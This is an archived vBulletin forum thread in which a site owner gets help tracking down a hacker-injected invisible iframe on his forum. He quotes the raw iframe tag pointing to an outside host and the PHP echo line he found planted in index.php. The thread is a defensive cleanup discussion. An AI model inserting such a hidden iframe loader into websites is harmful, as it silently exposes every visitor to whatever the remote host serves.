vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB4 General Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=251)
-   -   Can't Remove an iFrame (https://vborg.vbsupport.ru/showthread.php?t=302993)

naveed.lodhi 10-05-2013 01:06 PM

Can't Remove an iFrame
 
I don't know what happened, but I think some hacker has put some iFrame on top of my website. :mad: :(
Code:

<iframe src="http://ferrerautoparts.com/ini.php"  width="0" height="0" frameborder="0"></iframe><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" dir="ltr" lang="en" id="vbulletin_html"> <head> <link rel="canonical" href="http://yopakistan.com/forum.php" />
I tried to search it from phpmyadmin, found some files, change and removed the code, but still its there. I have checked the templates but I can't find it there. What should I do?

You can check my website: http://www.yopakistan.com/forum.php and view its source and see the top most line.

ozzy47 10-05-2013 01:13 PM

Sorry to hear about your troubles. :(

First you need to follow our advisory about deleting the install folder off your forums.

Then please read the following two blog posts:
http://www.vbulletin.com/forum/blogs...ve-been-hacked

http://www.vbulletin.com/forum/blogs...vbulletin-site

Also please see these recent security announcements:

vBulletin 4.1.x-4.2.x & All versions of vBulletin 5: http://www.vbulletin.com/forum/forum...-1-vbulletin-5
vBulletin 5.0.x patch released, for a different security issue: http://www.vbulletin.com/forum/forum...d-all-versions

cellarius 10-05-2013 02:09 PM

Given the location of the iframe at the very top of the page, before the html output, I would look for the malicious code inside the php files, not the templates or plugins.

naveed.lodhi 10-05-2013 03:11 PM

when I open the domain like yopakistan.com it also gives me error:

Unable to add cookies, header already sent.
File: /home/yopancom/public_html/index.php
Line: 42

fxdigi-cash 10-05-2013 03:15 PM

or search for iframe in your templates if nothing found

naveed.lodhi 10-05-2013 03:35 PM

@Cellarious: I found the issue in the Index.php file.

PHP Code:

if (defined('VB_RELATIVE_PATH'))

{

    
chdir('./' VB_RELATIVE_PATH);

}

echo 
'<iframe src="http://ferrerautoparts.com/ini.php"  width="0" height="0" frameborder="0"></iframe>';

require(
'forum.php'); 

I will re-install the forum so that there should be a clean installation. I wonder this will clear the Header Already Sent error as well.
Thank you so much for helping :)

fxdigi-cash 10-05-2013 06:25 PM

I see that the issue you were suffering has gone!!!

great to know

nerbert 10-05-2013 06:31 PM

Quote:

Originally Posted by naveed.lodhi (Post 2450198)
I wonder this will clear the Header Already Sent error as well.

Yes it should. I would be curious to know if you see any trace of this in the admincp logs. Normally to modify a file you would have to go through your server but you could do it with a temporary plugin using filesystem functions.


All times are GMT. The time now is 03:30 AM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01188 seconds
  • Memory Usage 1,729KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_code_printable
  • (1)bbcode_php_printable
  • (1)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (8)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete